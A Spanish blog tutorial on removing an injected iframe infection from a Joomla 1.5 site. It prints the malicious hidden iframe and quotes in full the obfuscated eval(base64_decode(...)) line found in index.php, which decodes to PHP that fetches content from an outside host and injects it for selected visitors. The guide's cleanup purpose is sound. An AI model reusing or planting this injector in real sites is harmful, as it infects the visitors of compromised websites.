joomla

Como eliminar virus iframe en Joomla

Si tienes joomla 1.5 y ha aparecido un aviso en tu sitio de que está infectado por virus o malware es posible que hayas encontrado en el codigo fuente de tu página algún iframe similar al siguiente:

<iframe src=»//hqvsbbzp.ftp1.biz/pony» width=1 height=1 style=»visibility: hidden»></iframe>

El primer paso que vamos a realizar es buscar algún tipo de archivo modificado o creado al margen de nuestro conocimiento. Para ello podemos ir revisando a través del ftp las fechas de modificación de las carpetas y archivos hasta encontrar la que no nos cuadra (la carpeta se guarda con la misma fecha del último archivo modificado), o bien ejecutando el siguiente comando a través de ssh para encontrar los archivos modificados el último día:

-find / -mtime -2 -print

Una vez localizado (habitualmente un módulo), debemos proceder a eliminar el/los módulos que no hemos instalado (asegurandonos antes de que presenten un contenido como el siguiente a través del panel de administración:

Una vez hecho esto debemos asegurarnos de cambiar tanto la contraseña de acceso al panel como la de acceso al ftp y desde el panel de sistema asegurarnos de que la capa ftp está desactivada y la contraseña no está guardada, sino la borramos y le damos a guardar para que la vacíe.

Ahora es cuando vamos a atacar contra el «virus», iremos al archivo index.php de la carpeta root, y buscaremos una línea que indique lo siguiente:

eval(base64_decode("JHVybCAgICAgICA9ICdodHRwOi8vd29yZHByZXNzdGVzdC5pbmZvLzEudHh0JzsNCiRtb2RlICAgICAgPSAxOy8vMSDo6+ggMg0KDQppbmlfc2V0KCdkZWZhdWx0X3NvY2tldF90aW1lb3V0JywgICAgMTUpOyAgICANCg0KDQoNCi8vx+Dv8O7xIOog7eD45ezzIPXu8fLzXw0KZnVuY3Rpb24gZ2V0dXJsXzEoJHVybCkNCnsNCgkkY3R4PXN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgnaHR0cCc9PiAgIGFycmF5KCd0aW1lb3V0JyA9PiAxNSApKSk7DQoNCglyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJHVybCxmYWxzZSwkY3R4KTsNCn0NCg0KLy/H4O/w7vEg6iDt4Pjl7PMg9e7x8vNfMiBcINHu6uXy+w0KZnVuY3Rpb24gZ2V0dXJsXzIoICRzb2NrLCRob3N0LCAkcGF0aCwgJHF1ZXJ5ICkNCnsNCglmcHV0cygkc29jaywgIkdFVCAiIC4gJHBhdGggLiAiPyIgLiAkcXVlcnkgLiAiICBIVFRQLzEuMFxyXG4iIC4NCgkiSG9zdDogJGhvc3RcclxuIiAuDQoJIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4wLjMpIEdlY2tvLzIwMDYwNDI2IEZpcmVmb3gvMS41LjAuM1xyXG4iIC4NCgkiQWNjZXB0OiAqLypcclxuIiAuDQoJIkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjVcclxuIiAuDQoJIkFjY2VwdC1DaGFyc2V0OiBJU08tODg1OS0xLHV0Zi04O3E9MC43LCo7cT0wLjdcclxuIiAuDQoJIktlZXAtQWxpdmU6IDMwMFxyXG4iIC4NCgkiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZVxyXG4iIC4NCgkiUmVmZXJlcjogaHR0cDovLyRob3N0XHJcblxyXG4iKTsNCgl3aGlsZSAoICRsaW5lID0gZnJlYWQoICRzb2NrLCA0MDk2ICkgKQ0KCXsNCgkJJHJlc3BvbnNlIC49ICRsaW5lOw0KCX0NCglmY2xvc2UoICRzb2NrICk7DQoJJHBvcyAgICAgID0gc3RycG9zKCRyZXNwb25zZSwgIlxyXG5cclxuIik7DQoJJHJlc3BvbnNlID0gc3Vic3RyKCRyZXNwb25zZSwgJHBvcyArIDQpOw0KCXJldHVybiAkcmVzcG9uc2U7DQp9DQovL8fg7/Du8SDqIO3g+OXs8yD17vHy818zIFwgyvPw6/sNCmZ1bmN0aW9uIGdldHVybF8zKCR1cmwpDQp7DQoJJGNoID0gY3VybF9pbml0KCR1cmwpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxNSk7DQoJJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KCWN1cmxfY2xvc2UoJGNoKTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KZnVuY3Rpb24gaXNfZ29vZF91YSgkdXNlcmFnZW50KQ0Kew0KCWlmKCBzdHJpcG9zKCR1c2VyYWdlbnQsICdvcGVyYScpIT09ZmFsc2UgfHwgc3RyaXBvcygkdXNlcmFnZW50LCAnRmlyZWZveCcpIHx8IHN0cmlwb3MoJHVzZXJhZ2VudCwgJ01TSUUnKSkNCgl7DQoJCXJldHVybiAxOw0KCX0NCglyZXR1cm4gMDsNCn0NCg0KZnVuY3Rpb24gaXNfd2luZG93c191YSgkdXNlcmFnZW50KQ0Kew0KCWlmKHN0cmlwb3MoJHVzZXJhZ2VudCwgJ3dpbmRvd3MnKSkNCgl7DQoJCXJldHVybiAxOw0KCX0NCglyZXR1cm4gMDsNCn0NCg0KZnVuY3Rpb24gbWFpbndvcmsoJHVybCkNCnsNCglpZiggaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkNCgl7DQoJCWVjaG8gZ2V0dXJsXzEoJHVybCk7DQoJfQ0KCWVsc2UNCgl7DQoJCSR1cmxfMSA9IHBhcnNlX3VybCgkdXJsKTsNCg0KCQlpZigkc29jayA9IEBmc29ja29wZW4oJHVybF8xWydob3N0J10sIDgwLCRlcnJubywgJGVycnN0ciwxNSkpDQoJCXsNCgkJCWVjaG8gZ2V0dXJsXzIoICRzb2NrLCAkdXJsXzFbJ2hvc3QnXSwgJHVybF8xWydwYXRoJ10sICR1cmxfMVsncXVlcnknXSApOw0KCQl9DQoJCWVsc2VpZiggQGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykgKQ0KCQl7DQoJCQllY2hvIGdldHVybF8zKCR1cmwpOw0KCQl9DQoJfQ0KfQ0KDQoNCiR1YSA9IEAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQoNCmlmKGlzX3dpbmRvd3NfdWEoJHVhKSkNCnsNCglpZiAoJG1vZGUgPT0gMSkNCgl7DQoJCWlmIChpc19nb29kX3VhKCR1YSkpDQoJCXsNCgkJCW1haW53b3JrKCR1cmwpOw0KCQl9DQoJfQ0KCWVsc2VpZiAoJG1vZGUgPT0gMikNCgl7DQoJCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKQ0KCQl7DQoJCQkkcmVmZXJlciA9ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCgkJCWlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKQ0KCQkJew0KCQkJCWlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSkNCgkJCQl7DQoJCQkJCW1haW53b3JrKCR1cmwpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCn0="));
$JResp = str_ireplace("</head>", "</head>".$code, $JResp);
echo $JResp;

El string de texto dentro del base64 es lo que pone el iframe.

Eliminaremos la línea que empieza con eval(base64… y guardaremos el archivo. En este momento nuestra página debería dejar de dar el aviso.

Léete también  Strict Standards: mktime(): You should be using the time() function instead php [Solucionado]

Es importante tener cuidado al eliminar esta línea ya que si borramos más de lo que debemos puede que nuestra página deje de funcionar


AYUDANOS a poder seguir dando respuestas. Te podemos echar una mano y tú también a nosotros, símplemente dale a me gusta.